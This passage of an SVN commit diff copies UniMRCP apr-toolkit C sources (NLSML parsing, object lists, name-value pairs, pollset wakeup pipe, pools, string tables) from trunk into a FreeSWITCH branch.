+			task->server_vtable->on_receive(task,ret_pfd[i].client_data);
+		}
+	}
+
+	apt_net_server_task_pollset_destroy(task);
+	return TRUE;
+}
+
+static apt_bool_t apt_net_server_task_msg_signal(apt_task_t *base, apt_task_msg_t *msg)
+{
+	apt_bool_t status;
+	apt_net_server_task_t *task = apt_task_object_get(base);
+	apr_thread_mutex_lock(task->guard);
+	status = apt_cyclic_queue_push(task->msg_queue,msg);
+	apr_thread_mutex_unlock(task->guard);
+	if(apt_pollset_wakeup(task->pollset) != TRUE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Signal Control Message");
+		status = FALSE;
+	}
+	return status;
+}
+
+
+/** Close connection */
+APT_DECLARE(apt_bool_t) apt_net_server_connection_close(apt_net_server_task_t *task, apt_net_server_connection_t *connection)
+{
+	if(connection->sock) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Close TCP Connection %s",connection->id);
+		apt_pollset_remove(task->pollset,&connection->sock_pfd);
+		apr_socket_close(connection->sock);
+		connection->sock = NULL;
+		task->server_vtable->on_disconnect(task,connection);
+	}
+	return TRUE;
+}
+
+/** Destroy connection */
+APT_DECLARE(void) apt_net_server_connection_destroy(apt_net_server_connection_t *connection)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy TCP Connection %s",connection->id);
+	apr_pool_destroy(connection->pool);
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_nlsml_doc.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_nlsml_doc.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_nlsml_doc.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_nlsml_doc.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_nlsml_doc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,108 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "apt_nlsml_doc.h"
+
+/** Load NLSML document */
+APT_DECLARE(apr_xml_doc*) nlsml_doc_load(const apt_str_t *data, apr_pool_t *pool)
+{
+	apr_xml_parser *parser;
+	apr_xml_doc *doc = NULL;
+	const apr_xml_elem *root;
+
+	/* create XML parser */
+	parser = apr_xml_parser_create(pool);
+	if(apr_xml_parser_feed(parser,data->buf,data->length) != APR_SUCCESS) {
+		return NULL;
+	}
+
+	/* done with XML tree creation */
+	if(apr_xml_parser_done(parser,&doc) != APR_SUCCESS) {
+		return NULL;
+	}
+
+	if(!doc || !doc->root) {
+		return NULL;
+	}
+	root = doc->root;
+
+	/* NLSML validity check: root element must be <result> */
+	if(strcmp(root->name,"result") != 0) {
+		return NULL;
+	}
+
+	return doc;
+}
+
+/** Get the first <interpretation> element */
+APT_DECLARE(apr_xml_elem*) nlsml_first_interpret_get(const apr_xml_doc *doc)
+{
+	apr_xml_elem *child_elem;
+	for(child_elem = doc->root->first_child; child_elem; child_elem = child_elem->next) {
+		if(strcmp(child_elem->name,"interpretation") == 0) {
+			return child_elem;
+		}
+	}
+
+	return NULL;
+}
+
+/** Get the next <interpretation> element */
+APT_DECLARE(apr_xml_elem*) nlsml_next_interpret_get(const apr_xml_elem *elem)
+{
+	apr_xml_elem *child_elem;
+	for(child_elem = elem->next; child_elem; child_elem = child_elem->next) {
+		if(strcmp(child_elem->name,"interpretation") == 0) {
+			return child_elem;
+		}
+	}
+
+	return NULL;
+}
+
+/** Get <instance> and <input> elements of <interpretation> element */
+APT_DECLARE(apt_bool_t) nlsml_interpret_results_get(const apr_xml_elem *interpret, apr_xml_elem **instance, apr_xml_elem **input)
+{
+	apr_xml_elem *child_elem;
+	*input = NULL;
+	*instance = NULL;
+	for(child_elem = interpret->first_child; child_elem; child_elem = child_elem->next) {
+		if(strcmp(child_elem->name,"input") == 0) {
+			*input = child_elem;
+		}
+		else if(strcmp(child_elem->name,"instance") == 0) {
+			*instance = child_elem;
+		}
+	}
+	return TRUE;
+}
+
+/** Get specified atrribute of <input> */
+APT_DECLARE(const char *) nlsml_input_attrib_get(const apr_xml_elem *input, const char *attrib, apt_bool_t recursive)
+{
+	const apr_xml_attr *xml_attr;
+	for(xml_attr = input->attr; xml_attr; xml_attr = xml_attr->next) {
+		if(strcasecmp(xml_attr->name,attrib) == 0) {
+			return xml_attr->value;
+		}
+	}
+
+	if(recursive && input->parent) {
+		return nlsml_input_attrib_get(input->parent,attrib,recursive);
+	}
+
+	return NULL;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_obj_list.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_obj_list.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_obj_list.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_obj_list.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_obj_list.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,151 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifdef WIN32
+#pragma warning(disable: 4127)
+#endif
+#include <apr_ring.h>
+#include "apt_obj_list.h"
+
+struct apt_list_elem_t {
+	APR_RING_ENTRY(apt_list_elem_t) link;
+	void                           *obj;
+};
+
+struct apt_obj_list_t {
+	APR_RING_HEAD(apt_list_head_t, apt_list_elem_t) head;
+	apr_pool_t                                     *pool;
+};
+
+
+
+APT_DECLARE(apt_obj_list_t*) apt_list_create(apr_pool_t *pool)
+{
+	apt_obj_list_t *list = apr_palloc(pool, sizeof(apt_obj_list_t));
+	list->pool = pool;
+	APR_RING_INIT(&list->head, apt_list_elem_t, link);
+	return list;
+}
+
+APT_DECLARE(void) apt_list_destroy(apt_obj_list_t *list)
+{
+	/* nothing to do, the list is allocated from the pool */
+}
+
+APT_DECLARE(apt_list_elem_t*) apt_list_push_back(apt_obj_list_t *list, void *obj, apr_pool_t *pool)
+{
+	apt_list_elem_t *elem = apr_palloc(pool,sizeof(apt_list_elem_t));
+	elem->obj = obj;
+
+	APR_RING_INSERT_TAIL(&list->head,elem,apt_list_elem_t,link);
+	return elem;
+}
+
+APT_DECLARE(void*) apt_list_pop_front(apt_obj_list_t *list)
+{
+	apt_list_elem_t *elem;
+	if(APR_RING_EMPTY(&list->head,apt_list_elem_t,link)) {
+		return NULL;
+	}
+	elem = APR_RING_FIRST(&list->head);
+	APR_RING_REMOVE(elem,link);
+	return elem->obj;
+}
+
+APT_DECLARE(void*) apt_list_head(apt_obj_list_t *list)
+{
+	apt_list_elem_t *elem;
+	if(APR_RING_EMPTY(&list->head,apt_list_elem_t,link)) {
+		return NULL;
+	}
+	elem = APR_RING_FIRST(&list->head);
+	return elem->obj;
+}
+
+APT_DECLARE(void*) apt_obj_list_tail(apt_obj_list_t *list)
+{
+	apt_list_elem_t *elem;
+	if(APR_RING_EMPTY(&list->head,apt_list_elem_t,link)) {
+		return NULL;
+	}
+	elem = APR_RING_LAST(&list->head);
+	return elem->obj;
+}
+
+APT_DECLARE(apt_list_elem_t*) apt_list_first_elem_get(apt_obj_list_t *list)
+{
+	if(APR_RING_EMPTY(&list->head,apt_list_elem_t,link)) {
+		return NULL;
+	}
+	return APR_RING_FIRST(&list->head);
+}
+
+APT_DECLARE(apt_list_elem_t*) apt_list_last_elem_get(apt_obj_list_t *list)
+{
+	if(APR_RING_EMPTY(&list->head,apt_list_elem_t,link)) {
+		return NULL;
+	}
+	return APR_RING_LAST(&list->head);
+}
+
+APT_DECLARE(apt_list_elem_t*) apt_list_next_elem_get(apt_obj_list_t *list, apt_list_elem_t *elem)
+{
+	apt_list_elem_t *next_elem = APR_RING_NEXT(elem,link);
+	if(next_elem == APR_RING_SENTINEL(&list->head,apt_list_elem_t,link)) {
+		next_elem = NULL;
+	}
+	return next_elem;
+}
+
+APT_DECLARE(apt_list_elem_t*) apt_list_prev_elem_get(apt_obj_list_t *list, apt_list_elem_t *elem)
+{
+	apt_list_elem_t *prev_elem = APR_RING_PREV(elem,link);
+	if(prev_elem == APR_RING_SENTINEL(&list->head,apt_list_elem_t,link)) {
+		prev_elem = NULL;
+	}
+	return prev_elem;
+}
+
+APT_DECLARE(apt_list_elem_t*) apt_list_elem_insert(apt_obj_list_t *list, apt_list_elem_t *elem, void *obj, apr_pool_t *pool)
+{
+	apt_list_elem_t *new_elem = apr_palloc(pool,sizeof(apt_list_elem_t));
+	new_elem->obj = obj;
+	APR_RING_INSERT_BEFORE(elem,new_elem,link);
+	return new_elem;
+}
+
+APT_DECLARE(apt_list_elem_t*) apt_list_elem_remove(apt_obj_list_t *list, apt_list_elem_t *elem)
+{
+	apt_list_elem_t *next_elem = APR_RING_NEXT(elem,link);
+	APR_RING_REMOVE(elem,link);
+	if(next_elem == APR_RING_SENTINEL(&list->head,apt_list_elem_t,link)) {
+		next_elem = NULL;
+	}
+	return next_elem;
+}
+
+APT_DECLARE(apt_bool_t) apt_list_is_empty(apt_obj_list_t *list)
+{
+	if(APR_RING_EMPTY(&list->head,apt_list_elem_t,link)) {
+		return TRUE;
+	}
+	return FALSE;
+}
+
+APT_DECLARE(void*) apt_list_elem_object_get(apt_list_elem_t *elem)
+{
+	return elem->obj;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_pair.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_pair.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_pair.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_pair.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_pair.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,86 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "apt_pair.h"
+
+/** Create array of name-value pairs */
+APT_DECLARE(apt_pair_arr_t*) apt_pair_array_create(apr_size_t initial_size, apr_pool_t *pool)
+{
+	return apr_array_make(pool,(int)initial_size,sizeof(apt_pair_t));
+}
+
+/** Copy array of name-value pairs */
+APT_DECLARE(apt_pair_arr_t*) apt_pair_array_copy(const apt_pair_arr_t *src_arr, apr_pool_t *pool)
+{
+	int i;
+	const apt_pair_t *src_pair;
+	apt_pair_t *pair;
+	apt_pair_arr_t *arr;
+	if(!src_arr) {
+		return NULL;
+	}
+	arr = apr_array_copy(pool,src_arr);
+	for(i=0; i<arr->nelts; i++) {
+		pair = (apt_pair_t*)arr->elts + i;
+		src_pair = (const apt_pair_t*)src_arr->elts + i;
+		apt_pair_copy(pair,src_pair,pool);
+	}
+	return arr;
+}
+
+
+/** Append name-value pair */
+APT_DECLARE(apt_bool_t) apt_pair_array_append(apt_pair_arr_t *arr, const apt_str_t *name, const apt_str_t *value, apr_pool_t *pool)
+{
+	apt_pair_t *pair = apr_array_push(arr);
+	apt_pair_init(pair);
+	if(name) {
+		apt_string_copy(&pair->name,name,pool);
+	}
+	if(value) {
+		apt_string_copy(&pair->value,value,pool);
+	}
+	return TRUE;
+}
+
+/** Find name-value pair by name */
+APT_DECLARE(const apt_pair_t*) apt_pair_array_find(const apt_pair_arr_t *arr, const apt_str_t *name)
+{
+	int i;
+	apt_pair_t *pair;
+	for(i=0; i<arr->nelts; i++) {
+		pair = (apt_pair_t*)arr->elts + i;
+		if(apt_string_compare(&pair->name,name) == TRUE) {
+			return pair;
+		}
+	}
+	return NULL;
+}
+
+/** Get size of pair array */
+APT_DECLARE(int) apt_pair_array_size_get(const apt_pair_arr_t *arr)
+{
+	return arr->nelts;
+}
+
+/** Get name-value pair by id */
+APT_DECLARE(const apt_pair_t*) apt_pair_array_get(const apt_pair_arr_t *arr, int id)
+{
+	if(id < arr->nelts) {
+		return (apt_pair_t*)arr->elts + id;
+	}
+	return NULL;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_pollset.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_pollset.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_pollset.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_pollset.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_pollset.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,323 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_poll.h>
+#include "apt_pollset.h"
+#include "apt_log.h"
+
+struct apt_pollset_t {
+	/** APR pollset */
+	apr_pollset_t *base;
+#ifdef WIN32
+	/** Socket descriptors used for wakeup */
+	apr_socket_t  *wakeup_pipe[2];
+#else
+	/** Pipe descriptors used for wakeup */
+	apr_file_t    *wakeup_pipe[2];
+#endif
+	/** Builtin wakeup poll descriptor */
+	apr_pollfd_t   wakeup_pfd;
+
+	/** Pool to allocate memory from */
+	apr_pool_t    *pool;
+};
+
+static apt_bool_t apt_wakeup_pipe_create(apt_pollset_t *pollset);
+static apt_bool_t apt_wakeup_pipe_destroy(apt_pollset_t *pollset);
+
+/** Create interruptable pollset on top of APR pollset */
+APT_DECLARE(apt_pollset_t*) apt_pollset_create(apr_uint32_t size, apr_pool_t *pool)
+{
+	apt_pollset_t *pollset = apr_palloc(pool,sizeof(apt_pollset_t));
+	pollset->pool = pool;
+	memset(&pollset->wakeup_pfd,0,sizeof(pollset->wakeup_pfd));
+	
+	/* create pollset with max number of descriptors size+1, 
+	where +1 is builtin wakeup descriptor */
+	if(apr_pollset_create(&pollset->base,size+1,pool,0) != APR_SUCCESS) {
+		return NULL;
+	}
+
+	/* create wakeup pipe */
+	if(apt_wakeup_pipe_create(pollset) != TRUE) {
+		apr_pollset_destroy(pollset->base);
+		return NULL;
+	}
+
+	/* add wakeup pipe to pollset */
+	if(apr_pollset_add(pollset->base,&pollset->wakeup_pfd) != APR_SUCCESS) {
+		apt_wakeup_pipe_destroy(pollset);
+		apr_pollset_destroy(pollset->base);
+		return NULL;
+	}
+	return pollset;
+}
+
+/** Destroy pollset */
+APT_DECLARE(apt_bool_t) apt_pollset_destroy(apt_pollset_t *pollset)
+{
+	/* remove wakeup pipe from pollset */
+	apr_pollset_remove(pollset->base,&pollset->wakeup_pfd);
+	/* destroy wakeup pipe */
+	apt_wakeup_pipe_destroy(pollset);
+	/* destroy pollset */
+	apr_pollset_destroy(pollset->base);
+	return TRUE;
+}
+
+/** Add pollset descriptor to a pollset */
+APT_DECLARE(apt_bool_t) apt_pollset_add(apt_pollset_t *pollset, const apr_pollfd_t *descriptor)
+{
+	return (apr_pollset_add(pollset->base,descriptor) == APR_SUCCESS) ? TRUE : FALSE;
+}
+
+/** Remove pollset descriptor from a pollset */
+APT_DECLARE(apt_bool_t) apt_pollset_remove(apt_pollset_t *pollset, const apr_pollfd_t *descriptor)
+{
+	return (apr_pollset_remove(pollset->base,descriptor) == APR_SUCCESS) ? TRUE : FALSE;
+}
+
+/** Block for activity on the descriptor(s) in a pollset */
+APT_DECLARE(apr_status_t) apt_pollset_poll(
+								apt_pollset_t *pollset,
+								apr_interval_time_t timeout,
+								apr_int32_t *num,
+								const apr_pollfd_t **descriptors)
+{
+	return apr_pollset_poll(pollset->base,timeout,num,descriptors);
+}
+
+/** Interrupt the blocked poll call */
+APT_DECLARE(apt_bool_t) apt_pollset_wakeup(apt_pollset_t *pollset)
+{
+	apt_bool_t status = TRUE;
+#ifdef WIN32
+	char tmp = 0;
+	apr_size_t len = sizeof(tmp);
+	if(apr_socket_send(pollset->wakeup_pipe[1],&tmp,&len) != APR_SUCCESS) {
+		status = FALSE;
+	}
+#else
+	if(apr_file_putc(1, pollset->wakeup_pipe[1]) != APR_SUCCESS) {
+		status = FALSE;
+	}
+#endif
+	return status;
+}
+
+/** Match against builtin wake up descriptor in a pollset */
+APT_DECLARE(apt_bool_t) apt_pollset_is_wakeup(apt_pollset_t *pollset, const apr_pollfd_t *descriptor)
+{
+	apt_bool_t status = FALSE;
+#ifdef WIN32
+	if(descriptor->desc.s == pollset->wakeup_pipe[0]) {
+		char rb[512];
+		apr_size_t nr = sizeof(rb);
+
+		/* simply read out from the input side of the pipe all the data. */
+		while(apr_socket_recv(pollset->wakeup_pipe[0], rb, &nr) == APR_SUCCESS) {
+			if(nr != sizeof(rb)) {
+				break;
+			}
+		}
+		status = TRUE;
+	}
+#else
+	if(descriptor->desc.f == pollset->wakeup_pipe[0]) {
+		char rb[512];
+		apr_size_t nr = sizeof(rb);
+
+		/* simply read out from the input side of the pipe all the data. */
+		while(apr_file_read(pollset->wakeup_pipe[0], rb, &nr) == APR_SUCCESS) {
+			if(nr != sizeof(rb)) {
+				break;
+			}
+		}
+		status = TRUE;
+	}
+#endif
+	return status;
+}
+
+#ifdef WIN32
+static apr_status_t socket_pipe_create(apr_socket_t **rd, apr_socket_t **wr, apr_pool_t *pool)
+{
+	static int id = 0;
+
+	apr_socket_t *ls = NULL;
+	apr_sockaddr_t *pa = NULL;
+	apr_sockaddr_t *ca = NULL;
+	apr_size_t nrd;
+	int uid[2];
+	int iid[2];
+
+	/* Create the unique socket identifier
+	 * so that we know the connection originated
+	 * from us.
+	 */
+	uid[0] = getpid();
+	uid[1] = id++;
+	if(apr_socket_create(&ls, AF_INET, SOCK_STREAM, APR_PROTO_TCP, pool) != APR_SUCCESS) {
+		return apr_get_netos_error();
+	}
+	apr_socket_opt_set(ls, APR_SO_REUSEADDR, 1);
+
+	if(apr_sockaddr_info_get(&pa,"127.0.0.1",APR_INET,0,0,pool) != APR_SUCCESS) {
+		apr_socket_close(ls);
+		return apr_get_netos_error();
+	}
+
+	if(apr_socket_bind(ls, pa) != APR_SUCCESS) {
+		apr_socket_close(ls);
+		return apr_get_netos_error();
+	}
+	
+	if(apr_socket_addr_get(&ca,APR_LOCAL,ls) != APR_SUCCESS) {
+		apr_socket_close(ls);
+		return apr_get_netos_error();
+	}
+
+	if(apr_socket_listen(ls,1) != APR_SUCCESS) {
+		apr_socket_close(ls);
+		return apr_get_netos_error();
+	}
+
+	if(apr_socket_create(wr, AF_INET, SOCK_STREAM, APR_PROTO_TCP, pool) != APR_SUCCESS) {
+		apr_socket_close(ls);
+		return apr_get_netos_error();
+	}
+	apr_socket_opt_set(*wr, APR_SO_REUSEADDR, 1);
+
+	if(apr_socket_connect(*wr, ca) != APR_SUCCESS) {
+		apr_socket_close(ls);
+		apr_socket_close(*wr);
+		return apr_get_netos_error();
+	}
+	nrd = sizeof(uid);
+	if(apr_socket_send(*wr, (char *)uid, &nrd) != APR_SUCCESS) {
+		apr_socket_close(ls);
+		apr_socket_close(*wr);
+		return apr_get_netos_error();
+	}
+	
+	apr_socket_opt_set(ls, APR_SO_NONBLOCK, 0);
+	/* Listening socket is blocking by now. The accept should 
+	 * return immediatelly because we connected already.
+	 */
+	if(apr_socket_accept(rd, ls, pool) != APR_SUCCESS) {
+		apr_socket_close(ls);
+		apr_socket_close(*wr);
+		return apr_get_netos_error();
+	}
+
+	/* Put read side of the pipe to the blocking mode */
+	apr_socket_opt_set(*rd, APR_SO_NONBLOCK, 0);
+
+	for (;;) {
+		/* Verify the connection by reading the sent identification */
+		nrd = sizeof(iid);
+		if(apr_socket_recv(*rd, (char *)iid, &nrd) != APR_SUCCESS) {
+			apr_socket_close(ls);
+			apr_socket_close(*wr);
+			apr_socket_close(*rd);
+			return apr_get_netos_error();
+		}
+		if(nrd == sizeof(iid)) {
+			if(memcmp(uid, iid, sizeof(uid)) == 0) {
+				/* Wow, we recived what we sent */
+				break;
+			}
+		}
+	}
+
+	/* We don't need the listening socket any more */
+	apr_socket_close(ls);
+	return APR_SUCCESS;
+}
+
+/** Create a dummy wakeup pipe for interrupting the poller */
+static apt_bool_t apt_wakeup_pipe_create(apt_pollset_t *pollset)
+{
+	apr_socket_t *rd = NULL;
+	apr_socket_t *wr = NULL;
+	apr_status_t rv;
+	rv = socket_pipe_create(&rd,&wr,pollset->pool);
+	if(rv != APR_SUCCESS) {
+		char err_str[256];
+		apr_strerror(rv,err_str,sizeof(err_str));
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Wakeup Pipe: %s",err_str);
+		return FALSE;
+	}
+	pollset->wakeup_pfd.reqevents = APR_POLLIN;
+	pollset->wakeup_pfd.desc_type = APR_POLL_SOCKET;
+	pollset->wakeup_pfd.desc.s = rd;
+	
+	pollset->wakeup_pipe[0] = rd;
+	pollset->wakeup_pipe[1] = wr;
+	return TRUE;
+}
+
+/** Destroy wakeup pipe */
+static apt_bool_t apt_wakeup_pipe_destroy(apt_pollset_t *pollset)
+{
+	/* Close both sides of the wakeup pipe */
+	if(pollset->wakeup_pipe[0]) {
+		apr_socket_close(pollset->wakeup_pipe[0]);
+		pollset->wakeup_pipe[0] = NULL;
+	}
+	if(pollset->wakeup_pipe[1]) {
+		apr_socket_close(pollset->wakeup_pipe[1]);
+		pollset->wakeup_pipe[1] = NULL;
+	}
+	return TRUE;
+}
+
+#else 
+
+/** Create a dummy wakeup pipe for interrupting the poller */
+static apt_bool_t apt_wakeup_pipe_create(apt_pollset_t *pollset)
+{
+	apr_file_t *file_in = NULL;
+	apr_file_t *file_out = NULL;
+
+	if(apr_file_pipe_create(&file_in,&file_out,pollset->pool) != APR_SUCCESS) {
+		return FALSE;
+	}
+	pollset->wakeup_pfd.reqevents = APR_POLLIN;
+	pollset->wakeup_pfd.desc_type = APR_POLL_FILE;
+	pollset->wakeup_pfd.desc.f = file_in;
+	
+	pollset->wakeup_pipe[0] = file_in;
+	pollset->wakeup_pipe[1] = file_out;
+	return TRUE;
+}
+
+/** Destroy wakeup pipe */
+static apt_bool_t apt_wakeup_pipe_destroy(apt_pollset_t *pollset)
+{
+	/* Close both sides of the wakeup pipe */
+	if(pollset->wakeup_pipe[0]) {
+		apr_file_close(pollset->wakeup_pipe[0]);
+		pollset->wakeup_pipe[0] = NULL;
+	}
+	if(pollset->wakeup_pipe[1]) {
+		apr_file_close(pollset->wakeup_pipe[1]);
+		pollset->wakeup_pipe[1] = NULL;
+	}
+	return TRUE;
+}
+
+#endif

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_pool.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_pool.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_pool.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_pool.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_pool.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "apt_pool.h"
+
+//#define OWN_ALLOCATOR_PER_POOL
+
+APT_DECLARE(apr_pool_t*) apt_pool_create()
+{
+	apr_pool_t *pool = NULL;
+
+#ifdef OWN_ALLOCATOR_PER_POOL
+	apr_allocator_t *allocator = NULL;
+	apr_thread_mutex_t *mutex = NULL;
+
+	if(apr_allocator_create(&allocator) == APR_SUCCESS) {
+		if(apr_pool_create_ex(&pool,NULL,NULL,allocator) == APR_SUCCESS) {
+			apr_allocator_owner_set(allocator,pool);
+			apr_thread_mutex_create(&mutex,APR_THREAD_MUTEX_NESTED,pool);
+			apr_allocator_mutex_set(allocator,mutex);
+		}
+	}
+#else
+	apr_pool_create(&pool,NULL);
+#endif
+	return pool;
+}
+
+APT_DECLARE(apr_pool_t*) apt_subpool_create(apr_pool_t *parent)
+{
+	apr_pool_t *pool = NULL;
+	apr_pool_create(&pool,parent);
+	return pool;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_string_table.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_string_table.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_string_table.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_string_table.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_string_table.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,66 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <ctype.h>
+#include "apt_string_table.h"
+
+/* Get the string by a given id. */
+APT_DECLARE(const apt_str_t*) apt_string_table_str_get(const apt_str_table_item_t table[], apr_size_t size, apr_size_t id)
+{
+	if(id < size) {
+		return &table[id].value;
+	}
+	return NULL;
+}
+
+/* Find the id associated with a given string from the table */
+APT_DECLARE(apr_size_t) apt_string_table_id_find(const apt_str_table_item_t table[], apr_size_t size, const apt_str_t *value)
+{
+	/* Key character is stored within each apt_string_table_item.
+	At first, key characters must be matched in a loop crossing the items.
+	Then whole strings should be compared only for the matched item.
+	Key characters should be automatically generated once for a given string table. */
+
+	apr_size_t i;
+	const apt_str_table_item_t *item;
+	for(i=0; i<size; i++) {
+		item = &table[i];
+		if(item->value.length != value->length) {
+			/* lengths of th strings differ, just contninue */
+			continue;
+		}
+		/* check whether key is available */
+		if(item->key < value->length) {
+			/* check whether values are matched by key (using no case compare) */
+			if(value->length == item->value.length && 
+				tolower(item->value.buf[item->key]) == tolower(value->buf[item->key])) {
+				/* whole strings must be compared to ensure, should be done only once for each lookup */
+				if(apt_string_compare(&item->value,value) == TRUE) {
+					return i;
+				}
+			}
+		}
+		else {
+			/* no key available, just compare whole strings */
+			if(apt_string_compare(&item->value,value) == TRUE) {
+				return i;
+			}
+		}
+	}
+
+	/* no match found, return invalid id */
+	return size;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_task.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_task.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/apr-toolkit/src/apt_task.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_task.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/apr-toolkit/src/apt_task.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,417 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_thread_proc.h>
+#include <apr_thread_cond.h>
+#include "apt_task.h"
